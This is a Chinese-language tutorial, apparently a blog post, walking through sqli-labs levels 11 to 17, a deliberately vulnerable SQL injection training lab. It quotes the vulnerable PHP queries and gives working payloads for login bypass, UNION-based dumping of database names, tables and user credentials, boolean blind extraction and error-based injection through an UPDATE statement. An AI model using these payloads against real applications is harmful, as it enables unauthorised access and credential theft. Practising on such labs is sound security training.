sqli-lab11和17关详解

Less-11 POST –单引号 – 字符型

我们在登录过程中,输入用户名和密码,用户名和密码以表单的形式提交,提交到服务器后服务器再进行验证。这就是一次 post 的过程的。

在 post 过程中,我们输入的用户名和密码最后在后台处理的过程中依旧会形成前面所见到
的 sql 语句。

首先输入 username:admin’–+(这里是- - +) Password:随便
显示错误了,可以从错误中分析到程序对参数进行单引号的处理。
You have an error in your SQL syntax; check the manual that corresponds to your MySQL server version for the right syntax to use near ‘vvv’ LIMIT 0,1’ at line 1
可以判断是单引号,查看代码

$uname=$_POST['uname'];
$passwd=$_POST['passwd'];

在输入框输入万能密码来尝试一下,输入:admin’or’1’=‘1#,密码随意。
返回的正确的结果。
当我们提交 username 和 password 后,后台形成的 sql 语句为sql="select username, password from users where username=‘admin’or’1’=‘1# and password=’$passwd’ limit 0,1";
前面的内容因为 or 1=1 恒成立,所以语句就成立,我们此时以admin 的用户登录。

那么接下来我们尝试用 get 注入中用到的其他的语句代替 or 1=1 进行注入。用 union 注入进行尝试:
username:admin’ union select database(),version()#
passwd=随便

可以看到显示了 database 为 security,这是我们比较常用的手法。
还可以利用其他的方法进行注入。上述在 get 型注入中提到的语句都可以使用。

查库
111 'union select 1, group_concat(schema_name) from information_schema.schemata#

查表
111’ union select 1,group_concat(table_name) from information_schema.tables where
table_schema=database()#

查列
111’ union select 1,group_concat(column_name) from information_schema.columns
where table_name=‘users’#

查数据
111’ union select group_concat(password) ,group_concat(username) from security.users#

Less-12 POST – 双引号 – 字符型

查看代码

$uname='"'.$uname.'"';
$passwd='"'.$passwd.'"'; 

sql="SELECT username, password FROM users WHERE username=($uname) and password=($passwd) LIMIT 0,1";

查库
111") union select 1, group_concat(schema_name) from information_schema.schemata#

查表
111") union select 1,group_concat(table_name) from information_schema.tables where
table_schema=database()#

查列
111") union select 1,group_concat(column_name) from information_schema.columns
where table_name=‘users’#

查数据
111") union select group_concat(password) ,group_concat(username) from security.users#

Less-13 :POST – 基于错误 – 引号 – 字符型

查看代码

$uname=$_POST['uname'];
$passwd=$_POST['passwd'];

sql="SELECT username, password FROM users WHERE username=('$uname') and password=('$passwd') LIMIT 0,1";

echo "<br>";
//echo 'Your Login name:'. $row['username'];
//echo "<br>";
//echo 'Your Password:' .$row['password'];
//echo "<br>";

我们可以看到本关不会显示你的登录信息了,只能给你一个是否登录成功的返回数据。
盲注部分利用在LESS-5的知识

方法具体可以参考LESS15

Less-14 POST – 基于错误 – 双引号 – 字符型

这里和 less13 一样,主要是熟悉利用盲注
只不过是双引号

sql="SELECT username, password FROM users WHERE username=$uname and password=$passwd LIMIT 0,1";

方法具体可以参考LESS15

Less-15 POST – 基于布尔 – 单引号 – 字符型

构造注入语句,猜测当前数据库库名
uname=1’ or (select ascii(substr(database(),1,1)) > 110)#&passwd=&submit=Submit
返回正确
uname=1’ or (select ascii(substr(database(),1,1)) > 120)#&passwd=&submit=Submit
返回错误,说明数据库名的第一个字符的 ascii 码范围是 110<=ascii<120

uname=1’ or (select ascii(substr(database(),1,1)) = 115)#&passwd=&submit=Submit
返回正确,说明数据库名的第一个字符的 ascii 码是 115

uname=1’ or (select ascii(substr(database(),2,1)) = 101)#&passwd=&submit=Submit
115 对应的字母为s,101对应e,与当前数据库的名匹配(security)
后面步骤略

构造注入语句,测测当前数据库的表名
uname=1’ or (select ascii(substr((select table_name from information_schema.tables where
table_schema=database() limit 0,1),1,1)) > 100)#&passwd=&submit=Submit
返回正确
uname=1’ or (select ascii(substr((select table_name from information_schema.tables where
table_schema=database() limit 0,1),1,1)) > 105)#&passwd=&submit=Submit
返回错误,说明当前数据库的第一个数据表的表名的第一个字符的 ascii 码的范围是
100<ascii<=105

uname=1’ or (select ascii(substr((select table_name from information_schema.tables where
table_schema=database() limit 0,1),1,1)) = 101)#&passwd=&submit=Submit
返回正确,说明当前数据库的第一个数据表的表名的第一个字符的 ascii 码为 101
ascii101 对应的字符为’e’,和数据库中的第一个表名的第一个字符’e’相对应,说明判断正
确,以此可以得出其他说所有的表名

构造语句,得出数据库表中的数据
uname=1’ or 1=1 order by 2#&passwd=&submit=Submit
返回正确,说明字段数为 2(然而用不到)

uname=1’ or (select ascii(substr((select username from users limit 0,1),1,1)) >
100)#&passwd=&submit=Submit
返回错误
uname=1’ or (select ascii(substr((select username from users limit 0,1),1,1)) >
50)#&passwd=&submit=Submit
返回正确,说明 users 表中的第一个 username 的第一个字符的 ascii 码的范围是
50<ascii<=100

uname=1’ or (select ascii(substr((select username from users limit 0,1),1,1)) >
75)#&passwd=&submit=Submit
返回错误,说明 users 表中的第一个 username 的第一个字符的 ascii 码的范围是
50<ascii<=75

uname=1’ or (select ascii(substr((select username from users limit 0,1),1,1)) >
60)#&passwd=&submit=Submit
返回正确,说明 users 表中的第一个 username 的第一个字符的 ascii 码的范围是
60<ascii<=75

uname=1’ or (select ascii(substr((select username from users limit 0,1),1,1)) >
68)#&passwd=&submit=Submit
返回错误,说明 users 表中的第一个 username 的第一个字符的 ascii 码的范围是
60<ascii<=68

uname=1’ or (select ascii(substr((select username from users limit 0,1),1,1)) >
64)#&passwd=&submit=Submit
返回正确,说明 users 表中的第一个 username 的第一个字符的 ascii 码的范围是
64<ascii<=68

uname=1’ or (select ascii(substr((select username from users limit 0,1),1,1)) >
67)#&passwd=&submit=Submit
返回正确,说明 users 表中的第一个 username 的第一个字符的 ascii 码是 68
Ascii 码 68 对应的字符为 D,与第一个用户名 Dump 相对应,说明判断正确,依次可以得出
其他数据

Less-16 POST – 基于时间 – 双引号和括号 – 字符型盲注

和15关一样,只不过是’改为"),方法同LESS15

Less-17 POST – UPDATA– 基于错误 – 单引号 – 字符型

常规测试
uname=123&passwd=123&submit=Submit
在这里插入图片描述
uname=admin&passwd=123&submit=Submit
在这里插入图片描述

update="UPDATE users SET password = '$passwd' WHERE username='$row1'";

可以看到username 不存在注入,接下来测试 password

uname=admin&passwd=123"&submit=Submit
修改成功
uname=admin&passwd=123’&submit=Submit
出现错误You have an error in your SQL syntax; check the manual that corresponds to your MySQL server version for the right syntax to use near ‘admin’’ at line 1

前端注入测试(基于错误的注入)
uname=admin&passwd=111’ or 1=1 #&submit=Submit
因为 111’ or 1=1 的逻辑判断始终为真,且 WHERE 条件被注释掉,所以所有的 password 都
变成了 111,修改注入语句,进一步注入

获取当前数据库名
uname=admin&passwd=123’ AND (select 1 from (select
count(*),(concat(““,database(),””,floor(rand()*2)))name from information_schema.tables group
by name)b) #&submit=Submit
这里显示有点问题,贴个图
在这里插入图片描述

获取表名
uname=admin&passwd=123’ AND (select 1 from (select count(*),(concat(“~”,(select table_name from information_schema.tables where table_schema=database() limit
0,1),“~”,floor(rand()*2)))name from information_schema.tables group by
name)b)#&submit=Submit

获取字段名
uname=admin&passwd=123’ AND (select 1 from (select count(*),(concat(“~”,(select
column_name from information_schema.columns where table_name=‘users’ limit
0,1),“~”,floor(rand()*2)))name from information_schema.tables group by name)b)
#&submit=Submit

获取表中的数据
uname=admin&passwd=123’ AND (select 1 from (select count(*),(concat(“~”,(select username
from users limit 0,1),“~”,floor(rand()*2)))name from information_schema.tables group by name)b)
#&submit=Submit

  • 1
    点赞
  • 1
    收藏
    觉得还不错? 一键收藏
  • 0
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值